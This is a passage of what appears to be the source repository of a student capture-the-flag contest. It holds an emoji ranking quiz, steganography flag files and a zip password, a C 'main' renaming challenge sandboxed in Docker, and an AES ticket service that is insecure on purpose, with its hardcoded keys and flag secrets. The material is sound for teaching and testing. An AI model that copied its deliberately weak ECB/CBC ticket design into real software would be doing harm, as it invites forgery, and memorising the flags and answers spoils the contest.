46 | flag1c="5d3719c665e4fc4538b8475fe8988f376b1c3768a41933cf93e42859ac9ee88f3b6a1cabd05a83e6a4a09aeab5f4ff5137afd138941c597beb27f35c20d813c6be6a9f0e678b9e7df1bb6095f08cb87c43a33c6bc525bade554e7f65c3df150aa65b5332fde1ae32fe124a48f940c64fa43a1d5994ce5869f2acabb50b9fd72808c9b807c13cf797b8121e89a12a3577dd5b183d2b31396c8ece8192a0fa855dbe452b06d2318de74ce974beb39764870338c3002a1a9796f8354ffd54b6ce830a0f2efde9525a18ed307e23b9ed52541f0621365ee4e679655c33fe3a416368600e589b24429651fb959dbbd928e7ace54b99db09a78fe372c356ca05b490377c97ba351095b797615199926f41499e453cfcaf127ff6320768ef5de211842c"
47 | #print(aes_dec(flag1c,1))
48 |
49 |
50 |
51 | d=int("18dc7cf25fcccab2ca37427aa2b2f0c6554c5e67928b2e22f9fd7813df01b9c3106c27bdc87f1ce980d639ddef13ae97ada67e9f04acbd25424c8754ad373a3c419be41f0a5e6b62abf93e6d0211cf42428cf370f11e0b77fd16fdcc02dd9f12e400f84d3b96fd28db9d183e4aa494539756ed50094a5ec2d6d7d098b7ac0e89",16)
52 | pk=pow(G,d,P)
53 | print(hex(pk)[2:])
54 |
55 | key=pow(upk,d,P)
56 |
57 | print(aes_enc(b_cert,key))
58 | flag2c="8ad1aacc07433ead5dbff23736840568b84d1302f9904fe41bb2e06bbcdb36a4acaf1934cad56797f459ecada267007dcde26ff44fe3fa3a4e48cd5945e49216"
59 | flag2c="a310a35d89fb951bbe69448155bb4dcdb1d66b21d6ddd75fdf879f565dfb0175e58cb0ae1806867ed21a7482c72453227adb208e377ffc5466454929b0d92624"
60 | print(aes_dec(flag2c,key))
--------------------------------------------------------------------------------
/src/emoji/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3
2 |
3 | WORKDIR /usr/src/app
4 |
5 | COPY game ./
6 |
7 | RUN pip install --no-cache-dir -r requirements.txt
8 |
9 | CMD ["python", "app.py"]
10 | EXPOSE 5000
11 |
--------------------------------------------------------------------------------
/src/emoji/game/app.py:
--------------------------------------------------------------------------------
1 | from flask import *
2 | from flask_session import Session
3 | import random
4 | import pickle
5 | import time
6 | from flag import getflag, checktoken
7 | from ratelimit import checklimit, setlimit
8 |
9 | MIN_INTERVAL_S = 1
10 | TOT_SUCC_CNT = 20
11 |
12 | #with open('emojis.txt', encoding='utf-8') as f:
13 | # emojis = list(set(f.read().splitlines()))
14 | #random.seed(114514666)
15 | #random.shuffle(emojis)
16 | #emojis = emojis[::5]
17 |
18 | #with open('emojis.pickle', 'wb') as f:
19 | # pickle.dump(emojis, f)
20 |
21 | with open('emojis.pickle', 'rb') as f:
22 | emojis = pickle.load(f)
23 |
24 | print('got', len(emojis), 'emojis')
25 |
26 | emojis_rank = {emoji:ind for ind,emoji in enumerate(emojis)}
27 |
28 | app = Flask(__name__)
29 | app.config['SESSION_TYPE'] = 'filesystem'
30 | app.config['SESSION_PERMANENT'] = False
31 | app.config['SESSION_FILE_THRESHOLD'] = 262144
32 | Session(app)
33 |
34 | def gen_question():
35 | k = random.randrange(1, 5)
36 | if k==1:
37 | k = 2
38 | qs = random.sample(emojis, k)
39 | session['question'] = qs
40 |
41 | @app.route('/token', methods=['GET', 'POST'])
42 | def token():
43 | if request.method=='POST':
44 | token = request.form['token'].strip()
45 | if not checktoken(token):
46 | flash('Token无效')
47 | return render_template('token.html')
48 |
49 | session['token'] = token
50 | return redirect('/')
51 | else:
52 | return render_template('token.html')
53 |
54 | @app.route('/', methods=['GET', 'POST'])
55 | def index():
56 | if 'token' not in session:
57 | return redirect('/token')
58 |
59 | token = session['token']
60 | uid = checktoken(token)
61 | if not uid:
62 | flash('Token无效')
63 | return redirect('/token')
64 |
65 | if 'count' not in session:
66 | session['count'] = 0
67 |
68 | if session['count']>=TOT_SUCC_CNT:
69 | return 'Your flag: '+getflag(token)+'
'
70 |
71 | if 'question' not in session:
72 | gen_question()
73 | setlimit(uid, MIN_INTERVAL_S)
74 |
75 | if request.method=='POST':
76 | if not checklimit(uid):
77 | flash('提交过快,'+str(MIN_INTERVAL_S)+'秒内只能提交一次')
78 | else:
79 | choice = request.form.get('choice', None)
80 | if choice not in session['question']:
81 | flash('选项无效')
82 |
83 | else:
84 | correct = max(emojis_rank[e] for e in session['question'])
85 |
86 | if emojis_rank[choice]==correct:
87 | session['count'] += 1
88 |
89 | if session['count']>=TOT_SUCC_CNT:
90 | return 'Your flag: '+getflag(token)+'
'
91 |
92 | flash('回答正确,加油哦~')
93 | else:
94 | session['count'] = 0
95 | flash('回答错误,THIS IS BAD')
96 |
97 | gen_question()
98 | setlimit(uid, MIN_INTERVAL_S)
99 |
100 | return render_template('index.html', qs=session['question'], succ=TOT_SUCC_CNT)
101 |
102 | app.run('0.0.0.0', 5000)
--------------------------------------------------------------------------------
/src/emoji/game/emojis.pickle:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/emoji/game/emojis.pickle
--------------------------------------------------------------------------------
/src/emoji/game/emojis.txt:
--------------------------------------------------------------------------------
1 | 😀
2 | 😁
3 | 😂
4 | 🤣
5 | 😃
6 | 😄
7 | 😅
8 | 😆
9 | 😉
10 | 😊
11 | 😋
12 | 😎
13 | 😍
14 | 😘
15 | 🥰
16 | 😗
17 | 😙
18 | 😚
19 | 🙂
20 | 🤗
21 | 🤩
22 | 🤔
23 | 🤨
24 | 😐
25 | 😑
26 | 😶
27 | 🙄
28 | 😏
29 | 😣
30 | 😥
31 | 😮
32 | 🤐
33 | 😯
34 | 😪
35 | 😫
36 | 🥱
37 | 😴
38 | 😌
39 | 😛
40 | 😜
41 | 😝
42 | 🤤
43 | 😒
44 | 😓
45 | 😔
46 | 😕
47 | 🙃
48 | 🤑
49 | 😲
50 | 🙁
51 | 😖
52 | 😞
53 | 😟
54 | 😤
55 | 😢
56 | 😭
57 | 😦
58 | 😧
59 | 😨
60 | 😩
61 | 🤯
62 | 😬
63 | 😰
64 | 😱
65 | 🥵
66 | 🥶
67 | 😳
68 | 🤪
69 | 😵
70 | 🥴
71 | 😠
72 | 😡
73 | 🤬
74 | 😷
75 | 🤒
76 | 🤕
77 | 🤢
78 | 🤮
79 | 🤧
80 | 😇
81 | 🥳
82 | 🥺
83 | 🤠
84 | 🤡
85 | 🤥
86 | 🤫
87 | 🤭
88 | 🧐
89 | 🤓
90 | 😈
91 | 👿
92 | 👹
93 | 👺
94 | 💀
95 | ☠
96 | 👻
97 | 👽
98 | 👾
99 | 🤖
100 | 💩
101 | 😺
102 | 😸
103 | 😹
104 | 😻
105 | 😼
106 | 😽
107 | 🙀
108 | 😿
109 | 😾
110 | 🐱
111 | 👤
112 | 🐱🏍
113 | 🐱💻
114 | 🐱🐉
115 | 🐱👓
116 | 🐱🚀
117 | 🙈
118 | 🙉
119 | 🐵
120 | 🐶
121 | 🐺
122 | 🐱
123 | 🦁
124 | 🐯
125 | 🦒
126 | 🦊
127 | 🦝
128 | 🐮
129 | 🐷
130 | 🐗
131 | 🐭
132 | 🐹
133 | 🐰
134 | 🐻
135 | 🐨
136 | 🐼
137 | 🐸
138 | 🦓
139 | 🐴
140 | 🦄
141 | 🐔
142 | 🐲
143 | 🐽
144 | 🐾
145 | 🐒
146 | 🦍
147 | 🦧
148 | 🦮
149 | 🐕🦺
150 | 🐩
151 | 🐕
152 | 🐈
153 | 🐅
154 | 🐆
155 | 🐎
156 | 🦌
157 | 🦏
158 | 🦛
159 | 🐂
160 | 🐃
161 | 🐄
162 | 🐖
163 | 🐏
164 | 🐑
165 | 🐐
166 | 🐪
167 | 🐫
168 | 🦙
169 | 🦘
170 | 🦥
171 | 🦨
172 | 🦡
173 | 🐘
174 | 🐁
175 | 🐀
176 | 🦔
177 | 🐇
178 | 🦎
179 | 🐊
180 | 🐢
181 | 🐍
182 | 🐉
183 | 🦕
184 | 🦖
185 | 🦦
186 | 🦈
187 | 🐬
188 | 🐳
189 | 🐋
190 | 🐟
191 | 🐠
192 | 🐡
193 | 🦐
194 | 🦑
195 | 🐙
196 | 🦞
197 | 🦀
198 | 🐚
199 | 🦆
200 | 🐓
201 | 🦃
202 | 🦅
203 | 🦢
204 | 🦜
205 | 🦩
206 | 🦚
207 | 🦉
208 | 🐦
209 | 🐧
210 | 🐥
211 | 🐤
212 | 🐣
213 | 🦇
214 | 🦋
215 | 🐌
216 | 🐛
217 | 🦟
218 | 🦗
219 | 🐜
220 | 🐝
221 | 🐞
222 | 🦂
223 | 🦠
224 | 🧞♀️
225 | 🧞♂️
226 | 🗣
227 | 👤
228 | 👥
229 | 👀
230 | 🦴
231 | 🦷
232 | 👅
233 | 👄
234 | 🧠
235 | 🦾
236 | 🦿
237 | 👣
238 | 🤺
239 | 👩
240 | 👨
241 | 🧑
242 | 👧
243 | 👦
244 | 🧒
245 | 👶
246 | 👵
247 | 👴
248 | 🧓
249 | 👩🦰
250 | 👨🦰
251 | 👩🦱
252 | 👨🦱
253 | 👩🦲
254 | 👨🦲
255 | 👩🦳
256 | 👨🦳
257 | 👱♀️
258 | 👱♂️
259 | 👸
260 | 🤴
261 | 👳♀️
262 | 👳♂️
263 | 👲
264 | 🧔
265 | 👼
266 | 🤶
267 | 🎅
268 | 👮♀️
269 | 👮♂️
270 | 🕵️♀️
271 | 🕵️♂️
272 | 💂♀️
273 | 💂♂️
274 | 👷♀️
275 | 👷♂️
276 | 👩⚕️
277 | 👨⚕️
278 | 👩🎓
279 | 👨🎓
280 | 👩🏫
281 | 👨🏫
282 | 👩⚖️
283 | 👨⚖️
284 | 👩🌾
285 | 👨🌾
286 | 👩🍳
287 | 👨🍳
288 | 👩🔧
289 | 👨🔧
290 | 👩🏭
291 | 👨🏭
292 | 👩💼
293 | 👨💼
294 | 👩🔬
295 | 💪
296 | 🦵
297 | 🦶
298 | 👂
299 | 🦻
300 | 👃
301 | 🤏
302 | 👈
303 | 👉
304 | ☝
305 | 👆
306 | 👇
307 | ✌
308 | 🤞
309 | 🖖
310 | 🤘
311 | 🤙
312 | 🖐
313 | ✋
314 | 👌
315 | 👍
316 | 👎
317 | ✊
318 | 👊
319 | 🤛
320 | 🤜
321 | 🤚
322 | 👋
323 | 🤟
324 | ✍
325 | 👏
326 | 👐
327 | 🙌
328 | 🤲
329 | 🙏
330 | 🤝
--------------------------------------------------------------------------------
/src/emoji/game/flag.py:
--------------------------------------------------------------------------------
1 | import hashlib
2 | import OpenSSL
3 | import base64
4 |
5 | FLAG = 'y0uAr3_S00_K1raK1ra'
6 | SECRET = 'pkuggg::vsylaesl'
7 |
8 | with open('cert.pem', 'rb') as f:
9 | cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, f.read())
10 |
11 | def getflag(token):
12 | serial = hashlib.sha256((SECRET+token).encode()).hexdigest()[:8]
13 | return 'flag{%s_%s}'%(FLAG, serial)
14 |
15 | def checktoken(token):
16 | try:
17 | id, sig = token.split(':', 1)
18 | sig = base64.b64decode(sig, validate=True)
19 | OpenSSL.crypto.verify(cert, sig, id.encode(), 'sha256')
20 | return id
21 | except Exception:
22 | return None
--------------------------------------------------------------------------------
/src/emoji/game/ratelimit.py:
--------------------------------------------------------------------------------
1 | import pathlib
2 | import time
3 | from threading import Lock
4 |
5 | p = pathlib.Path('limit')
6 | p.mkdir(exist_ok=True)
7 |
8 | lock = Lock()
9 |
10 | def checklimit(uid):
11 | pp = p/(uid+'.txt')
12 | with lock:
13 | if not pp.exists():
14 | return True
15 |
16 | with pp.open() as f:
17 | try:
18 | t = float(f.read())
19 | return time.time() > t
20 | except Exception:
21 | return True
22 |
23 | def setlimit(uid, limtime):
24 | pp = p/(uid+'.txt')
25 | with lock:
26 | with pp.open('w') as f:
27 | f.write(str(time.time() + limtime))
--------------------------------------------------------------------------------
/src/emoji/game/requirements.txt:
--------------------------------------------------------------------------------
1 | flask
2 | flask_session
3 | pyopenssl
4 |
--------------------------------------------------------------------------------
/src/emoji/game/templates/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | K1raK1ra Quiz
6 |
7 |
8 |
9 |
10 |
13 |
14 |
连续正确回答 {{ succ }} 次来获得 flag!
15 |
16 |
17 | {{ session['count'] }}
18 |
19 |
20 |
21 | {% with messages = get_flashed_messages() %}
22 | {% if messages %}
23 | {% for message in messages %}
24 |
25 | {{ message }}
26 |
27 | {% endfor %}
28 | {% endif %}
29 | {% endwith %}
30 |
31 |
47 |
48 |
49 |
--------------------------------------------------------------------------------
/src/emoji/game/templates/token.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | K1raK1ra Quiz
6 |
7 |
8 |
9 |
10 |
11 |
12 | {% with messages = get_flashed_messages() %}
13 | {% if messages %}
14 | {% for message in messages %}
15 |
16 | {{ message }}
17 |
18 | {% endfor %}
19 | {% endif %}
20 | {% endwith %}
21 |
22 |
23 |
K1raK1ra☆问答
24 |
无法预料的命运舞台
25 |
26 |
开始之前请输入你的Token:
27 |
35 |
36 |
37 |
38 |
39 |
--------------------------------------------------------------------------------
/src/gifcode/game/quiz.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/gifcode/game/quiz.gif
--------------------------------------------------------------------------------
/src/gifcode/src/flag1.txt:
--------------------------------------------------------------------------------
1 | flag{K33p_going!Passw0rd-is-hidden-in-the-1mage}
--------------------------------------------------------------------------------
/src/gifcode/src/flag2.txt:
--------------------------------------------------------------------------------
1 | flag{you are master of stegan0. Here is y0ur flag}
--------------------------------------------------------------------------------
/src/gifcode/src/flags.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/gifcode/src/flags.zip
--------------------------------------------------------------------------------
/src/gifcode/src/photo-orig.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/gifcode/src/photo-orig.jpg
--------------------------------------------------------------------------------
/src/gifcode/src/photo.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/gifcode/src/photo.gif
--------------------------------------------------------------------------------
/src/gifcode/src/photo.psd:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/gifcode/src/photo.psd
--------------------------------------------------------------------------------
/src/gifcode/src/qrcode.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/gifcode/src/qrcode.png
--------------------------------------------------------------------------------
/src/gifcode/src/qrcode_split.psd:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/gifcode/src/qrcode_split.psd
--------------------------------------------------------------------------------
/src/gifcode/src/zip_pw.txt:
--------------------------------------------------------------------------------
1 | fm2jbn2z6t0gl5le
--------------------------------------------------------------------------------
/src/huffman/src/table.pickle:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/huffman/src/table.pickle
--------------------------------------------------------------------------------
/src/huffman/src/text.txt:
--------------------------------------------------------------------------------
1 | 7768696c652067657474696e6720686973206d617374657273206465677265652c20612070726f666573736f722067617665206869732073747564656e747320746865206f7074696f6e206f6620736f6c76696e67206120646966666963756c742070726f626c656d20696e7374656164206f662074616b696e67207468652066696e616c206578616d2e206f7074696e6720666f7220776861742068652074686f756768742077617320746865206561737920776179206f75742c206d7920756e636c6520747269656420746f2066696e64206120736f6c7574696f6e20746f207468652022736d616c6c65737420636f6465222070726f626c656d2e2077686174206869732070726f666573736f72206469646e27742074656c6c2068696d2069732074686174206e6f206f6e6520617420746861742074696d65206b6e657720746865206265737420736f6c7574696f6e2e20617320746865207465726d206472657720746f206120636c6f73652c206461766964207265616c697a65642068652764206861766520746f207374617274207374756479696e6720666f7220746865206578616d20616e64207374617274696e67207468726f77696e672061776179206869732073637261746368696e6773206f6e207468652070726f626c656d2e206173206f6e65206f66207468652070617065727320686974207468652074726173682063616e2c2074686520616c676f726974686d2063616d6520746f2068696d2e20666c61677b7730775f636f6e67726174735f746831735f31735f7265613131795f687566666d616e7d206865207075626c697368656420746865207061706572202261206d6574686f6420666f722074686520636f6e737472756374696f6e206f66206d696e696d756d20726564756e64616e637920636f646573222064657363726962696e672068697320616c676f726974686d20696e20313935322e207468697320626563616d65206b6e6f776e20617320687566666d616e20636f64696e672e206174207468652074696d65206865206469646e277420636f6e736964657220636f70797269676874696e67206f7220706174656e74696e672069742c206265636175736520776173206a75737420616e20616c676f726974686d2c20616e64206865206469646e2774206d616b6520612070656e6e79206f6666206f662069742e2062656361757365206f662069747320656c6567616e636520616e642073696d706c69636974792c2069742069732064657363726962656420696e206d616e792074657874626f6f6b7320616e64207365766572616c207765622070616765732e20746f646179206465726976617469766520666f726d73206f6620687566666d616e20636f64696e672063616e20666f756e6420696e20636f6d6d6f6e20656c656374726f6e69637320616e64207765622070616765732028666f72206578616d706c652c20746865206a70656720696d6167652066696c6520666f726d6174292e
--------------------------------------------------------------------------------
/src/mian/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:20.04
2 |
3 | RUN apt-get update
4 |
5 | ARG DEBIAN_FRONTEND=noninteractive
6 | RUN apt-get install -y gcc g++
7 |
8 | RUN mkdir /chall
9 |
10 | COPY check.sh /chall/
11 | RUN chmod 0777 /chall/check.sh
12 |
13 | RUN useradd -m -s /bin/bash player
14 | USER player
15 |
16 | CMD tail -f /dev/null
--------------------------------------------------------------------------------
/src/mian/check.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | file=$(mktemp -p /tmp --suffix=.c)
4 | exe=$(mktemp -p /tmp)
5 | sed 's/main/mian/g' < $1 > $file
6 | gcc $file -o $exe || exit 1
7 | ( $exe | grep main ) > /dev/null 2>&1 || exit 1
8 | printf "pass_6b8956e69246b7bedf4f40c72a789e80"
9 |
--------------------------------------------------------------------------------
/src/mian/flag.txt:
--------------------------------------------------------------------------------
1 | flag{to_main_or_not_to_main_that_is_a_question}
--------------------------------------------------------------------------------
/src/mian/mian.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import os
4 | import sys
5 | import subprocess
6 | import random
7 | import shutil
8 | import signal
9 | import verify
10 |
11 |
12 | class timeout:
13 | def __init__(self, seconds=1, error_message='Timeout'):
14 | self.seconds = seconds
15 | self.error_message = error_message
16 | def handle_timeout(self, signum, frame):
17 | raise TimeoutError(self.error_message)
18 | def __enter__(self):
19 | signal.signal(signal.SIGALRM, self.handle_timeout)
20 | signal.alarm(self.seconds)
21 | def __exit__(self, type, value, traceback):
22 | signal.alarm(0)
23 |
24 |
25 | class Docker:
26 | def __init__(self, image_name: str, cwd="") -> None:
27 | if cwd == "":
28 | cwd = os.getcwd()
29 | cwd = os.path.abspath(cwd)
30 | self._cwd = cwd
31 | self._container_name = ''.join([random.choice('0123456789abcdef') for _ in range(32)])
32 | subprocess.run(["docker", "run", "-id", "--name=" +
33 | self._container_name, "--net=none", "-v",
34 | os.path.join(cwd, "docker", self._container_name, "data")+":/data", image_name],
35 | stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
36 | #print("docker container created:{}".format(self._container_name))
37 |
38 | def close(self) -> None:
39 | subprocess.run(["docker", "kill", self._container_name],
40 | stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
41 | subprocess.run(["docker", "rm", self._container_name],
42 | stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
43 | shutil.rmtree(os.path.join(self._cwd, "docker", self._container_name))
44 | #print("docker container destoryed:{}".format(self._container_name))
45 |
46 | @property
47 | def mounted_path(self) -> str:
48 | return os.path.join(self._cwd, "docker", self._container_name, "data")
49 |
50 | @property
51 | def container_name(self) -> str:
52 | return self._container_name
53 |
54 | def run(self, args, user=None, stdin=None, stdout=None, stderr=None, timeout=2.0) -> subprocess.CompletedProcess:
55 | new_args = ["docker", "exec", "-i"]
56 | if user is not None:
57 | new_args += ["--user", str(user)]
58 | args = new_args + [self._container_name] + list(args)
59 | return subprocess.run(args, stdout=stdout, stdin=stdin, stderr=stderr, timeout=timeout)
60 |
61 |
62 | if __name__ == "__main__":
63 | os.chdir(os.path.dirname(os.path.abspath(__file__)))
64 | MAGIC = b"pass_6b8956e69246b7bedf4f40c72a789e80"
65 | try:
66 | with timeout(seconds=10):
67 | token = input("token: ")
68 | if verify.validate(token) is None:
69 | print("wrong token")
70 | exit()
71 | src_len = int(input("code length: "))
72 | print("code (%d):" % src_len, flush=True)
73 | code = sys.stdin.read(src_len)
74 | except (ValueError, TimeoutError) as e:
75 | print(e)
76 | exit()
77 |
78 | try:
79 | docker = Docker("mian:1.0")
80 | filename = os.path.join(docker.mounted_path, "test.c")
81 | with open(filename, "w") as f:
82 | f.write(code)
83 |
84 | ok = False
85 | try:
86 | proc = docker.run(["/chall/check.sh", "/data/test.c"],
87 | user="player",
88 | timeout=10,
89 | stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)
90 | if proc.stdout.strip() == MAGIC:
91 | ok = True
92 | except subprocess.TimeoutExpired:
93 | pass
94 | except:
95 | pass
96 |
97 | docker.close()
98 |
99 | if ok:
100 | os.system("cat flag.txt")
101 | else:
102 | print("wrong")
103 |
--------------------------------------------------------------------------------
/src/mian/mian.xinetd:
--------------------------------------------------------------------------------
1 | service store
2 | {
3 | type = UNLISTED
4 | socket_type = stream
5 | protocol = tcp
6 | wait = no
7 | user = root
8 | server = /usr/bin/python3
9 | server_args = /path/mian.py
10 | log_on_failure += USERID
11 | log_type = FILE /var/log/mian.log
12 | port = 3000
13 | disable = no
14 | }
15 |
--------------------------------------------------------------------------------
/src/mian/verify.py:
--------------------------------------------------------------------------------
1 | import OpenSSL
2 | import base64
3 | import os
4 |
5 |
6 | CERT_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "cert.pem")
7 |
8 | with open(CERT_FILE) as f:
9 | cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, f.read())
10 |
11 |
12 | def validate(token):
13 | try:
14 | id, sig = token.split(":", 1)
15 | sig = base64.b64decode(sig, validate=True)
16 | OpenSSL.crypto.verify(cert, sig, id.encode(), "sha256")
17 | return id
18 | except Exception:
19 | return None
20 |
--------------------------------------------------------------------------------
/src/oracle/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3
2 |
3 | WORKDIR /usr/src/app
4 |
5 | COPY game ./
6 |
7 | RUN pip install --no-cache-dir -r requirements.txt
8 |
9 | CMD ["uwsgi", "--http", ":5000", "--wsgi-file", "app.py", "--callable", "app", "--master", "--processes", "4", "--threads", "2"]
10 | EXPOSE 5000
11 |
--------------------------------------------------------------------------------
/src/oracle/game/app.py:
--------------------------------------------------------------------------------
1 | from flask import *
2 | import random
3 | import time
4 | import base64
5 | import pickle
6 | from Crypto.Cipher import AES
7 | from Crypto.Util.Padding import pad, unpad
8 | from Crypto.Random import get_random_bytes
9 | from flag import getflag
10 |
11 | app = Flask(__name__)
12 |
13 | from secret import AES_KEY, AES_KEY_2
14 |
15 | def myencode(d):
16 | s = []
17 | for k, v in d.items():
18 | s.append('%s=%s'%(k,v))
19 | return '|'.join(s)
20 |
21 | def mydecode(s):
22 | d = {}
23 | for pair in s.split('|'):
24 | k, _, v = pair.partition('=')
25 | d[k] = v
26 | return d
27 |
28 | def gen_token():
29 | ALPHABET='qwertyuiopasdfghjklzxcvbnm1234567890'
30 | LENGTH=16
31 | return ''.join([random.choice(ALPHABET) for _ in range(LENGTH)])
32 |
33 | @app.template_filter('mosaic')
34 | def mosaic_filter(s):
35 | #return s
36 | if len(s)<=6:
37 | return '*'*len(s)
38 | else:
39 | return s[:4] + '*'*(len(s)-4)
40 |
41 | @app.route('/')
42 | def index():
43 | return render_template('index.html')
44 |
45 | @app.route('//gen-ticket')
46 | def gen_ticket(mode):
47 | if mode not in ['cbc', 'ecb']:
48 | return 'Error: 不支持的模式'
49 |
50 | name = request.args['name']
51 | stuid = request.args['stuid']
52 |
53 | #print(name, len(name))
54 | if not 0已为您生成购票凭证:
'+enc_out+'
返回
'
80 |
81 | @app.route('//query-ticket')
82 | def query_ticket(mode):
83 | if mode not in ['cbc', 'ecb']:
84 | return 'Error: 不支持的模式'
85 | ticket_b64 = request.args['ticket'].strip()
86 |
87 | try:
88 | ticket = base64.b64decode(ticket_b64)
89 | if mode=='cbc':
90 | iv = ticket[:16]
91 | ct_bytes = ticket[16:]
92 | cipher = AES.new(AES_KEY, AES.MODE_CBC, iv)
93 | else:
94 | ct_bytes = ticket
95 | cipher = AES.new(AES_KEY_2, AES.MODE_ECB)
96 | plaintext = unpad(cipher.decrypt(ct_bytes), AES.block_size)
97 | except:
98 | return 'Error: 解密购票凭证失败'
99 |
100 | try:
101 | data = mydecode(plaintext.decode('utf-8', 'ignore'))
102 | print(plaintext)
103 | except:
104 | print(plaintext)
105 | print(plaintext.decode('utf-8', 'ignore'))
106 | raise
107 | return 'Error: 信息解码失败'
108 |
109 | return render_template('query.html', ticket=data)
110 |
111 | @app.route('//getflag')
112 | def flag(mode):
113 | if mode not in ['cbc', 'ecb']:
114 | return 'Error: 不支持的模式'
115 | ticket_b64 = request.args['ticket'].strip()
116 | code = request.args['redeem_code']
117 | token = request.args['token']
118 |
119 | try:
120 | ticket = base64.b64decode(ticket_b64)
121 | if mode=='cbc':
122 | iv = ticket[:16]
123 | ct_bytes = ticket[16:]
124 | cipher = AES.new(AES_KEY, AES.MODE_CBC, iv)
125 | else:
126 | ct_bytes = ticket
127 | cipher = AES.new(AES_KEY_2, AES.MODE_ECB)
128 | plaintext = unpad(cipher.decrypt(ct_bytes), AES.block_size)
129 | except:
130 | return 'Error: 解密购票凭证失败'
131 |
132 | try:
133 | data = mydecode(plaintext.decode('utf-8', 'ignore'))
134 | except:
135 | return 'Error: 信息解码失败'
136 |
137 | if data['flag']!='True':
138 | return 'Error: 您未选择需要礼品'
139 |
140 | if code!=data['code']:
141 | return 'Error: 兑换码错误'
142 |
143 | if mode=='cbc':
144 | return '兑换成功,这是你的礼品:
'+getflag(token, 0)+'
'
145 | else:
146 | return '兑换成功,这是你的礼品:
'+getflag(token, 1)+'
'
147 |
148 | if __name__=='__main__':
149 | #app.run('0.0.0.0', 5000)
150 | app.run('127.0.0.1', 5000)
--------------------------------------------------------------------------------
/src/oracle/game/flag.py:
--------------------------------------------------------------------------------
1 | import hashlib
2 |
3 | FLAGS = ['cbc-is-insecure', 'ecb-is-even-more-insecure']
4 | SECRETS = ['pkuggg::somzak28', 'pkuggg::17e86dlj']
5 |
6 | def getflag(token, ind):
7 | serial = hashlib.sha256((SECRETS[ind]+token).encode()).hexdigest()[:8]
8 | return 'flag{%s_%s}'%(FLAGS[ind], serial)
--------------------------------------------------------------------------------
/src/oracle/game/requirements.txt:
--------------------------------------------------------------------------------
1 | flask
2 | pycryptodome
3 | uwsgi
4 |
--------------------------------------------------------------------------------
/src/oracle/game/secret.py:
--------------------------------------------------------------------------------
1 | AES_KEY = b'\x07\x1dq\xbaF\x1d\xc24\x01c20\n\xff\x85\x9e\xcb\n\xc5a\x0c9UH\xa3\xdf\x04\xd9\xd5$\xaf@'
2 | AES_KEY_2 = AES_KEY[::-1]
--------------------------------------------------------------------------------
/src/oracle/game/templates/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Advanced Encrypting System
6 |
7 |
8 |
9 |
10 |
11 |
12 |
千年讲堂 网上购票系统
13 |
14 |
我们使用极为先进的 AES 256 算法生成购票凭证,让您用得放心。
15 |
系统试运行期间您可以免费购票,并获得精美礼品一份。
16 |
17 |
18 |
19 |
22 |
23 |
24 |
购票
25 |
26 |
34 |
35 |
36 |
37 |
38 |
39 |
检票
40 |
41 |
45 |
46 |
47 |
48 |
49 |
50 |
领取礼品
51 |
52 |
58 |
59 |
60 |
61 |
62 |
65 |
66 |
67 |
购票
68 |
69 |
77 |
78 |
79 |
80 |
81 |
82 |
检票
83 |
84 |
88 |
89 |
90 |
91 |
92 |
93 |
领取礼品
94 |
95 |
101 |
102 |
103 |
104 |
105 |
--------------------------------------------------------------------------------
/src/oracle/game/templates/query.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | 千年讲堂网上购票系统
6 |
7 |
8 | 解密得到您的购票信息如下
9 |
10 | 姓名: {{ticket.name}}
11 | 学号: {{ticket.stuid}}
12 | 需要礼品: {{ticket.flag}}
13 | 礼品兑换码: {{ticket.code | mosaic}}
14 | 时间戳: {{ticket.timestamp}}
15 |
16 | 返回
17 |
18 |
--------------------------------------------------------------------------------
/src/proxy/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3
2 |
3 | WORKDIR /usr/src/app
4 |
5 | COPY requirements.txt ./
6 | RUN pip install --no-cache-dir -r requirements.txt
7 |
8 | COPY . .
9 |
10 | CMD [ "bash", "./run.sh" ]
11 |
12 | EXPOSE 8080
13 |
--------------------------------------------------------------------------------
/src/proxy/max.py:
--------------------------------------------------------------------------------
1 | #pip install pyJWT
2 | import jwt
3 |
4 | import os
5 | import json
6 | import math
7 | import time
8 | from datetime import timedelta
